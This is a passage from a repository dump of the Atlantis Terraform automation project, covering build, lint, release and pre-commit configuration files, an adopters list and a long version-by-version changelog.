needs.changes.outputs.should-run-website-check == 'false' name: Website Check runs-on: ubuntu-24.04 steps: - name: Harden Runner uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2 with: egress-policy: audit - run: 'echo "No build required"' ================================================ FILE: .gitignore ================================================ .idea ./atlantis *.iml atlantis.db output .DS_Store .cover .terraform/ node_modules/ helm/test-values.yaml *.swp golangci-lint atlantis .devcontainer atlantis.env *.act Dockerfile.local # gitreleaser dist/ tmp-CHANGELOG.md .envrc # IDE files *.code-workspace # draw.io backup files *.bkp # VitePress build output & cache directory **/.vitepress/cache **/.vitepress/dist **/.vitepress/config.ts.timestamp-* # playwright test-results/ #Cursor dirs .cursor ================================================ FILE: .golangci.yml ================================================ version: "2" linters: enable: - modernize - gochecknoinits - gosec - misspell - revive - testifylint - unconvert settings: misspell: ignore-rules: - noteable revive: rules: - name: dot-imports disabled: true exclusions: generated: lax presets: - comments - common-false-positives - legacy - std-error-handling paths: - third_party$ - builtin$ - examples$ formatters: enable: - gofmt exclusions: generated: lax paths: - third_party$ - builtin$ - examples$ ================================================ FILE: .goreleaser.yml ================================================ version: 2 env: - CGO_ENABLED=0 builds: - id: atlantis targets: - darwin_amd64 - darwin_arm64 - linux_386 - linux_amd64 - linux_arm - linux_arm64 - windows_386 - windows_amd64 flags: - -trimpath ldflags: - -s -w - -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}} archives: - id: zip name_template: "{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}" formats: - zip files: - none* checksum: name_template: "checksums.txt" changelog: disable: true release: # If set to true, will not auto-publish the release. # Default is false. draft: false # If set, will create a release discussion in the category specified. # # Warning: do not use categories in the 'Announcement' format. # Check https://github.com/goreleaser/goreleaser/issues/2304 for more info. # # Default is empty. discussion_category_name: General # If set to auto, will mark the release as not ready for production # in case there is an indicator for this in the tag e.g. v1.0.0-rc1 # If set to true, will mark the release as not ready for production. # Default is false. prerelease: auto # TODO: This requires a gpg_private_key # https://github.com/marketplace/actions/goreleaser-action#signing # signs: # # https://goreleaser.com/customization/sign/ # - # artifacts: all snapshot: name_template: "{{ incpatch .Version }}-next" ================================================ FILE: .lycheeignore ================================================ # Ignore file for the https://github.com/lycheeverse/lychee/ website link checker # These sites have bot protection which causes a 403 Network error: Forbidden when checking https://www.freepik.com/ https://www.flaticon.com/ https://medium.com/ ================================================ FILE: .markdownlint.yaml ================================================ # MD013/line-length # # We're not particular about line length, generally preferring longer # lines, since tools like Grammarly and other writing assistance tools # work best with "normal" lines not broken up arbitrary. # # https://github.com/DavidAnson/markdownlint/blob/main/doc/md013.md MD013: false # MD033/no-inline-html # # We're fine with inline HTML, there are lots of valid VitePress features # that depends on this. # # https://github.com/DavidAnson/markdownlint/blob/main/doc/md033.md MD033: false # MD024/no-duplicate-heading # # VitePress do not follow GitHub heading styling, so duplicate headlines # are fine as long as they are not siblings (aka same indention hierarchy) # # https://github.com/DavidAnson/markdownlint/blob/main/doc/md024.md MD024: siblings_only: true # MD051/link-fragments # # VitePress generate these differently that markdownlint expects, so disabling # for now, and something to improve on later (cc @jippi) # # https://github.com/DavidAnson/markdownlint/blob/main/doc/md051.md MD051: false # for blog posts MD025: false MD045: false MD001: false ================================================ FILE: .node-version ================================================ 24.13.1 ================================================ FILE: .pre-commit-config.yaml ================================================ repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.16.3 hooks: - id: gitleaks - repo: https://github.com/golangci/golangci-lint rev: v1.52.2 hooks: - id: golangci-lint - repo: https://github.com/jumanjihouse/pre-commit-hooks rev: 3.0.0 hooks: - id: shellcheck - repo: https://github.com/pre-commit/mirrors-eslint rev: v8.38.0 hooks: - id: eslint - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.4.0 hooks: - id: end-of-file-fixer - id: trailing-whitespace ================================================ FILE: .tool-versions ================================================ node 22.14.0 go 1.25.1 ================================================ FILE: .vale.ini ================================================ StylesPath = .github/styles MinAlertLevel = error # api-endpoints.md intentionally uses the API string literals "Github" and # "Gitlab" (which match the Go source code constants). When running Vale # locally, exclude it with: vale --glob='!*api-endpoints.md' runatlantis.io/docs/ [*.md] BasedOnStyles = Atlantis ================================================ FILE: .vscode/settings.json ================================================ { "git.alwaysSignOff": true } ================================================ FILE: ADOPTERS.md ================================================ # Who uses Atlantis? As the Atlantis Community grows, we'd like to keep track of our users and adopters. Please send a PR with your organization name if you are using Atlantis. ## Updating this list 1. Open a PR to directly update this list, or edit this file directly in GitHub ## Atlantis Adopters This list is sorted in the order that organizations were added to it. | Organization | Contact | Description of Use | | ------------ | ------- | ------------------ | ] [Lambda](https://lambda.ai) | @genpage | Currently used for orchestrating self-service infrastructure for Lambda's Internal Platform | ================================================ FILE: CHANGELOG.md ================================================ **NOTE:** We do not plan to update this page anymore. Please see [the releases page for the updated changelog](https://github.com/runatlantis/atlantis/releases). --- # v0.23.3 Bugfixes and new Features https://github.com/runatlantis/atlantis/releases/tag/v0.23.3 # v0.23.2 Bugfixes and new Features https://github.com/runatlantis/atlantis/releases/tag/v0.23.2 # v0.23.1 Bugfixes and new Features https://github.com/runatlantis/atlantis/releases/tag/v0.23.1 # v0.23.0 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.23.0 # v0.22.3 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.22.3 # v0.22.2 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.22.2 # v0.22.1 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.22.1 # v0.22.0 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.22.0 # v0.21.0 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.21.0 ## Breaking changes * Terraform version 1.x have been removed to deprecate beta versions of terraform and reduce the docker image size. Each version of terraform is about 80 MB. ([#2619](https://github.com/runatlantis/atlantis/pull/2619)) # v0.20.1 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.20.1 # v0.20.0 Broken build due to github action issues ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.20.0 # v0.19.8 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.8 # v0.19.7 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.7 # v0.19.6 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.6 # v0.19.5 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.5 ## Backwards Incompatibilities / Notes: * `--var-file-allowlist` flag has been added to restrict the access of files on Atlantis install from pull request comments. Set the flag if you want to explicitly grant the access to files outside the default data directory. Previously, any file could be passed to `-var-file`. Now only files under the directories in the allowlist are permitted. # v0.19.4 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.4 # v0.19.3 Bugfixes and new Features ## What's Changed https://github.com/runatlantis/atlantis/releases/tag/v0.19.3 # v0.19.2 Bug fix release for github and update docs to reflect the docker registry support change. ## What's Changed * fix: fix unmarshall error in graphql call by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2128 * docs: update docker registry link to ghcr by @marceloboeira in https://github.com/runatlantis/atlantis/pull/2130 # v0.19.1 Bug fix release, most importantly fixing the wrong version number associated with v0.19.0. And it also contains fixes for `bitbucketcloud` and `gitlab`. ## What's Changed * build(deps): bump actions/checkout from 2 to 3 by @dependabot in https://github.com/runatlantis/atlantis/pull/2119 * build(deps): bump github.com/xanzy/go-gitlab from 0.55.1 to 0.58.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2118 * fix(bitbucketcloud): Ensure status key has at most 40 characters by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2037 * fix(gitlab-client): change `pending` to `running` state by @syphernl in https://github.com/runatlantis/atlantis/pull/1971 * fix(bitbucketcloud)!: Use AccountID as username instead of Nickname by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2034 # v0.19.0 Feature release for: - multi-arch docker images - add `pending` status for apply ## What's Changed * docs: moving streaming logs section from top-level navigation to docs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2066 * fix(docker): Multi-arch Docker images, attempt two by @Tenzer in https://github.com/runatlantis/atlantis/pull/2114 * feat: add a pending status for apply when running plan command by @AndreZiviani in https://github.com/runatlantis/atlantis/pull/2053 # v0.18.5 Maintenance release: - Drop Dockerhub support (#2103) - fixing the most recent multiplatform image build issue. (#2104) ## What's Changed * ci: drop circleci docker hub update by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2102 * fix(docker): fix docker runtime issue by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2106 * deps: tf 1.1.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2108 # v0.18.4 Maintenance release for security patches with atlantis-base image ## What's Changed * fix(web-templates): use CleanedBasePath for titles by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2091 * build(deps): bump runatlantis/atlantis-base from 2021.12.15 to 2022.03.02 * docker: bump git-lfs and gosu dependencies by @hi-artem in https://github.com/runatlantis/atlantis/pull/2096 * fix(docker): fix base image for multi-platform build by @Tenzer in https://github.com/runatlantis/atlantis/pull/2099 * fix(docker): fix installation of git-lfs in armv7 image by @Tenzer in https://github.com/runatlantis/atlantis/pull/2100 * fix(docker): download Terraform and conftest versions matching image architecture by @Tenzer in https://github.com/runatlantis/atlantis/pull/2101 # v0.18.3 ## What's Changed * Fix URL generation by @PertsevRoman in https://github.com/runatlantis/atlantis/pull/2021 * deps: terraform 1.1.5 by @lazzurs in https://github.com/runatlantis/atlantis/pull/2042 * docs: update devops PR link by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2033 * Moving config files to core/config by @msarvar in https://github.com/runatlantis/atlantis/pull/2036 * docs: fix policy example with custom workflow by @aliscott in https://github.com/runatlantis/atlantis/pull/2049 * docs: fix some typos by @ocaisa in https://github.com/runatlantis/atlantis/pull/2048 * fix: get user teams with GitHub GraphQL API by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2045 * build(deps): bump github.com/xanzy/go-gitlab from 0.54.3 to 0.54.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2050 * docs: add user facing documentation for real-time logs by @Aayyush in https://github.com/runatlantis/atlantis/pull/1963 * feat: Use UUIDs to identify log streaming jobs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2051 * build(deps): bump ajv from 6.5.1 to 6.12.6 by @dependabot in https://github.com/runatlantis/atlantis/pull/2060 * build(deps): bump github.com/xanzy/go-gitlab from 0.54.4 to 0.55.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/2061 * build(deps): bump github.com/golang-jwt/jwt/v4 from 4.2.0 to 4.3.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2062 * build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.17 to 1.0.18 by @dependabot in https://github.com/runatlantis/atlantis/pull/2063 * build(deps): bump go.uber.org/zap from 1.20.0 to 1.21.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2064 * deps: tf 1.1.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2071 * Removing web credentials from debug log by @pkaramol in https://github.com/runatlantis/atlantis/pull/2072 * build(deps): bump github.com/gorilla/websocket from 1.4.2 to 1.5.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2077 * build(deps): bump prismjs from 1.25.0 to 1.27.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2086 * fix(web-templates): use CleanedBasePath for static content by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2079 # v0.18.2 ## What's Changed * deps: terraform 1.1.3 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1982 * deps: conftest 0.30.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1983 * build(deps): bump github.com/xanzy/go-gitlab from 0.52.2 to 0.54.3 by @dependabot in https://github.com/runatlantis/atlantis/pull/1986 * build(deps): bump github.com/hashicorp/go-version from 1.3.0 to 1.4.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1987 * build(deps): bump go.uber.org/zap from 1.19.1 to 1.20.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1988 * docs: document `undiverged` apply requirement in more places by @fishpen0 in https://github.com/runatlantis/atlantis/pull/1992 * fix: fix autoplan when .terraform.lock.hcl is modified by @gezb in https://github.com/runatlantis/atlantis/pull/1991 * feat: add XTerm JS to the server static files by @Ka1wa in https://github.com/runatlantis/atlantis/pull/1985 * feat: post workflow hooks by @tim775 in https://github.com/runatlantis/atlantis/pull/1990 * docs: add colon to policy checking yaml by @williamlord-wise in https://github.com/runatlantis/atlantis/pull/1996 * docs: include infracost ref in post-workflow-hooks by @ilamtap in https://github.com/runatlantis/atlantis/pull/1997 * fix(docs): update screenshot for Bitbucket server webhook configuration by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1995 * fix: make IsOwner policy check case-insensitive by @edbighead in https://github.com/runatlantis/atlantis/pull/1989 * build(deps): bump github.com/bradleyfalzon/ghinstallation/v2 from 2.0.3 to 2.0.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2004 * build(deps): bump github.com/hashicorp/go-getter from 1.5.10 to 1.5.11 by @dependabot in https://github.com/runatlantis/atlantis/pull/2003 * docs: fix incorrect wildcard and more precise instruction to --gh-team-allowlist option. by @keitap in https://github.com/runatlantis/atlantis/pull/2005 * fix: support for terraform workspaces by @bschaeffer in https://github.com/runatlantis/atlantis/pull/2006 * deps: terraform 1.1.4 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2011 * fix: add back basic auth support by @Aayyush in https://github.com/runatlantis/atlantis/pull/2008 * chore: improve `/healthz` endpoint performance by @inkel in https://github.com/runatlantis/atlantis/pull/2014 * fix: Update GenerateProjectJobURL to account for nested repo names by @Aayyush in https://github.com/runatlantis/atlantis/pull/2012 * fix: broken Log Streaming URL when working directory is set to "./" by @Aayyush in https://github.com/runatlantis/atlantis/pull/2015 * fix: retry /files/ requests to github by @iainlane in https://github.com/runatlantis/atlantis/pull/2002 # v0.18.1 Maintenance release for bug fixes as well as release multi-platform builds for atlantis docker images. ## What's Changed * Revert "feat: filter out atlantis/apply from mergeability clause (#18… by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1968 * build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.16 to 1.0.17 by @dependabot in https://github.com/runatlantis/atlantis/pull/1969 * fix:include no GitHub allowlist rules by default by @paulerickson in https://github.com/runatlantis/atlantis/pull/1973 * fix: default permissions for gh-team-allowlist. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1974 * docs: documentation for slack integration by @syphernl in https://github.com/runatlantis/atlantis/pull/1972 * workflows(atlantis-image): fix building and publishing of Docker images by @Tenzer in https://github.com/runatlantis/atlantis/pull/1975 * fix: allowed regexp prefixes for exact matches by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1962 * deps: conftest 0.29.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1977 # v0.18.0 Feature release of adding capability of streaming terraform logs, also added the capability of supporting tf 1.0.x (which was missed in the v0.17.6 release). ## What's Changed * deps: terraform 1.1.2 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1952 * build(deps): bump github.com/spf13/viper from 1.10.0 to 1.10.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1956 * Dockerfile: Add support for last Terraform 1.0.x version in AVAILABLE_TERRAFORM_VERSIONS by @javierbeaumont in https://github.com/runatlantis/atlantis/pull/1957 * feat: add GitHub team allowlist configuration option by @paulerickson in https://github.com/runatlantis/atlantis/pull/1694 * fix: fallback to default TF version in apply step by @sapslaj in https://github.com/runatlantis/atlantis/pull/1931 * docs: typo in heading level by @moretea in https://github.com/runatlantis/atlantis/pull/1960 * docs: clarify example for `--azuredevops-token` flag by @MarkIannucci in https://github.com/runatlantis/atlantis/pull/1712 * docs: update github docs links by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1964 * build(deps): bump github.com/hashicorp/go-getter from 1.5.9 to 1.5.10 by @dependabot in https://github.com/runatlantis/atlantis/pull/1961 * feat: streaming terraform logs in real-time by @Aayyush in https://github.com/runatlantis/atlantis/pull/1937 # v0.17.6 ## What's Changed * docs: clarify maximum version limit by @tomharrisonjr in https://github.com/runatlantis/atlantis/pull/1894 * fix: allow requests to /healthz without authentication by @wendtek in https://github.com/runatlantis/atlantis/pull/1896 * docs: document approve_policies command in comment_parser by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1886 * feat: adds `allowed_regexp_prefixes` parameter to use with the `--enable-regexp-cmd` flag by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1884 * refactor: Add PullStatusFetcher interface by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1904 * build(deps): bump github.com/urfave/negroni from 0.3.0 to 1.0.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1922 * build(deps): bump github.com/xanzy/go-gitlab from 0.51.1 to 0.52.2 by @dependabot in https://github.com/runatlantis/atlantis/pull/1921 * build(deps): bump github.com/golang-jwt/jwt/v4 from 4.1.0 to 4.2.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1928 * docs: add clarity and further policy_check examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1925 * build(deps): bump github.com/spf13/viper from 1.9.0 to 1.10.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1934 * deps: terraform 1.1.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1939 * deps: alpine 3.15 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1941 * docs: fix policy check documentation examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1945 * docker: make multi-platform atlantis image by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1943 # v0.17.5 ## What's Changed * refactor: move from io/ioutil to io and os package by @Juneezee in https://github.com/runatlantis/atlantis/pull/1843 * chore: use golang-jwt/jwt to replace dgrijalva/jwt-go by @barn in https://github.com/runatlantis/atlantis/pull/1845 * fix(azure): allow host to be specified in user_config for on premise installation by @dandcg in https://github.com/runatlantis/atlantis/pull/1860 * feat: filter out atlantis/apply from mergeability clause by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1856 * feat: add BasicAuth Support to Atlantis ServeHTTP by @fblgit in https://github.com/runatlantis/atlantis/pull/1777 * fix(azure): allow correct path to be derived for on premise installation by @dandcg in https://github.com/runatlantis/atlantis/pull/1863 * feat: add new bitbucket server webhook event type pr:from_ref_updated(#198) by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1866 * Move runtime common under existing runtime package. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1875 * feat: use goreleaser to replace the binary-release script by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1873 # v0.17.4 ## What's Changed * build(deps): bump tar from 4.4.15 to 4.4.19 by @dependabot in https://github.com/runatlantis/atlantis/pull/1783 * build: tf 1.0.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1786 * Bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1787 * Actually bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1788 * build: fix testing-env img process by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1789 * e2e: update dockerfile by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1790 * build(deps): bump runatlantis/atlantis-base from 2021.06.22 to 2021.08.31 by @dependabot in https://github.com/runatlantis/atlantis/pull/1794 * build(deps): bump github.com/xanzy/go-gitlab from 0.50.3 to 0.50.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/1795 * fix a log error typo by @danpilch in https://github.com/runatlantis/atlantis/pull/1796 * Set ParallelPolicyCheckEnabled to the same value as ParallelPlanEnabled by @msarvar in https://github.com/runatlantis/atlantis/pull/1802 * docs: Add missing --silence-vcs-status-no-plans flag by @franklad in https://github.com/runatlantis/atlantis/pull/1803 * build(lint): use revive instead of golint by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1801 * build(deps): bump github.com/hashicorp/go-getter from 1.5.7 to 1.5.8 by @dependabot in https://github.com/runatlantis/atlantis/pull/1807 * build(deps): bump go.uber.org/zap from 1.19.0 to 1.19.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1808 * docs: add missing the `branch` key in the reference for server side repo config by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1784 * build: tf 1.0.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1811 * deps: conftest 0.28.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1819 * deps: conftest 0.28.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1826 * build(deps): bump prismjs from 1.24.0 to 1.25.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1823 * Updating client interface and adding ApprovalStatus model by @Aayyush in https://github.com/runatlantis/atlantis/pull/1827 * Fix title level by @xiao-pp in https://github.com/runatlantis/atlantis/pull/1822 * build(deps): bump github.com/xanzy/go-gitlab from 0.50.4 to 0.51.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1831 * Add support for deleting a branch on merge in BitBucket Server by @wpbeckwith in https://github.com/runatlantis/atlantis/pull/1792 * deps: tf 1.0.8 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1837 * build(deps): bump github.com/spf13/viper from 1.8.1 to 1.9.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1821 * Document --auto-merge-disabled option by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1838 * testdrive: update terraformVersion by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1839 * Improve github pull request call retries by @aristocrates in https://github.com/runatlantis/atlantis/pull/1810 # v0.17.3 Feature release with a number of improvements related to Gitlab support, a new command, better formatting etc. Some broken features have been fixed in along with some regressions. ## Features/Improvements * Add version command to Atlantis for getting the current terraform version ([#1691](https://github.com/runatlantis/atlantis/pull/1691) by @pjsier) * Support "Pipelines must succeed", "All discussions must be resolved" in Gitlab `apply_requirements` ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc) * Add support for specifying github app key as a string ([#1706](https://github.com/runatlantis/atlantis/pull/1706) by @dhaven) * Add flag to enable rich github markdown formatting of terraform outputs ([#1751](https://github.com/runatlantis/atlantis/pull/1751) by @enochlo) * Note: Depending on feedback here, we will consider just enabling this by default in a future release. * Add support for splitting large comments into batches for Gitlab ([#1755](https://github.com/runatlantis/atlantis/pull/1755) by @krrrr38) ## Bug Fixes * Fix remote ops detection for tf >= 1.0.0 ([#1687](https://github.com/runatlantis/atlantis/pull/1687) by @taavitani) * Fix Gitlab auto-merge race condition [#1609](https://github.com/runatlantis/atlantis/issues/1609) ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc) * Fix an issue where `--parallel-pool-size` was being ignored ([#1705](https://github.com/runatlantis/atlantis/pull/1705) by @Schtolc) * Fix an issue where applies can occur on draft merge requests in Gitlab ([#1736](https://github.com/runatlantis/atlantis/pull/1736) by @devlucasc) * Fix regression where .terraform.lock.hcl would prevent future operations from upgrading providers even with the `-upgrade` present ([#1701](https://github.com/runatlantis/atlantis/pull/1701) by @gezb) * Fix issue with branch regex matcher which would always allow all branches ([#1768](https://github.com/runatlantis/atlantis/pull/1768) by @minamijoyo) ## Dependencies * Upgrade default tf version to 1.0.5 ([#1662](https://github.com/runatlantis/atlantis/pull/1765) by @chenrui333) * Upgrade go version to 0.17 ([#1766](https://github.com/runatlantis/atlantis/pull/1766) by @chenrui1333) * Upgrade alpine to v3.14, addressing CVE-2021-36159, CVE-2021-22924, CVE-2021-22923 and CVE-2021-22925 vulnerabilities ([#1770](https://github.com/runatlantis/atlantis/pull/1770) by @chenrui1333) ## Backwards Incompatibilities/Notes * If you are using GHCR and are using the `atlantis:latest` docker image, this now points to the latest release as opposed to the tip of master. If you want to work off the tip of master, then you should now use `atlantis:dev` ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.17.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Github Container Registry [`ghcr.io/runatlantis/atlantis:v0.17.3`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) ## Diff v0.17.2..v0.17.3 https://github.com/runatlantis/atlantis/compare/v0.17.2...v0.17.3 # v0.17.2 Patch release containing bug fixes. ## Bug Fixes * Fix a regression introduced where approving failing policies would create a secondary status in pending without ever being marked as successful ([#1672](https://github.com/runatlantis/atlantis/pull/1672) by @nishkrishnan) * Fix a bug where pre-workflow hooks cannot find atlantis.yaml when run on non-default workspaces. ([#1620](https://github.com/runatlantis/atlantis/pull/1620) by @giuli007) ## Dependencies * Upgrade default tf version to 1.0.1 ([#1662](https://github.com/runatlantis/atlantis/pull/1662) by @chenrui333) ## Backwards Incompatibilities/Notes * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 1.0.1. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.17.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Github Container Registry [`ghcr.io/runatlantis/atlantis:v0.17.2`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) ## Diff v0.17.1..v0.17.2 https://github.com/runatlantis/atlantis/compare/v0.17.1...v0.17.2 # v0.17.1 Feature release containing a number of bug fixes. Note: as of this release we are now also publishing releases to [Github Container Registry](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/). We will stop publishing releases to [Dockerhub](https://hub.docker.com/r/runatlantis/atlantis/) in a subsequent major version release, please migrate any workflows to start using Github Container Registry in the meantime. ## Features/Improvements * Add extra args support for policy checking command ([#1511](https://github.com/runatlantis/atlantis/pull/1511) by @nishkrishnan) * Add undiverged apply requirement ([#1587](https://github.com/runatlantis/atlantis/pull/1587) by @pcalley) * Modify logging timestamp to be ISO8601 ([#1625](https://github.com/runatlantis/atlantis/pull/1625) by @tkishore1192) * Add run step environment variable SHOWFILE ([#1611](https://github.com/runatlantis/atlantis/pull/1611) by @mhennecke) * Add flag to disable automerge for `atlantis apply` ([#1533](https://github.com/runatlantis/atlantis/pull/1533) by @spirosoik) * Add support for deduping extra terraform args ([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb) * Preserving terraform.lock.hcl when present by not upgrading during terraform init ([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb) ## Bug Fixes * Fix a bug with the hide previous command logic ([#1549](https://github.com/runatlantis/atlantis/pull/1549) by @nishkrishnan) * Fix a bug with Azure Dev ops Prs where only the recent commit was used to get the diff ([#1521](https://github.com/runatlantis/atlantis/pull/1521) by @nishkrishnan) * Fix bug with deleting source branch on merging Azure Dev Ops PRs ([#1560](https://github.com/runatlantis/atlantis/pull/1560) by @tapaszto) * Fix regression with parallelApply and parallelPlan args being in the wrong order and therefore swapped. ([#1574](https://github.com/runatlantis/atlantis/pull/1574) by @Fauzyy) * Fix nil pointer deference when `disable-repo-locking` is true. ([#1557](https://github.com/runatlantis/atlantis/pull/1557) by @Fauzyy) * Fix azure dev ops max comment characters to api limit ([#1585](https://github.com/runatlantis/atlantis/pull/1585) by @mhennecke) * Fix bug where required terraform version was not being loaded when policy checks are enabled ([#1658](https://github.com/runatlantis/atlantis/pull/1658) by @msarvar) * Fix bug where plan summary was not shown when changes outside of Terraform were detected ([#1593](https://github.com/runatlantis/atlantis/pull/1593) by @chroju) ## Dependencies * Upgrade conftest binary version to 0.25 ([#1516](https://github.com/runatlantis/atlantis/pull/1579) by @msarvar) * Upgrade default tf version to 1.0 ([#1622](https://github.com/runatlantis/atlantis/pull/1622) by @chenrui333) ## Backwards Incompatibilities/Notes * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 1.0. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.17.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Github Container Registry [`ghcr.io/runatlantis/atlantis:v0.17.1`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) ## Diff v0.17.0..v0.17.1 https://github.com/runatlantis/atlantis/compare/v0.17.0...v0.17.1 # v0.17.0 Feature release encompassing this version's pre-release with some bug fixes and improvements that 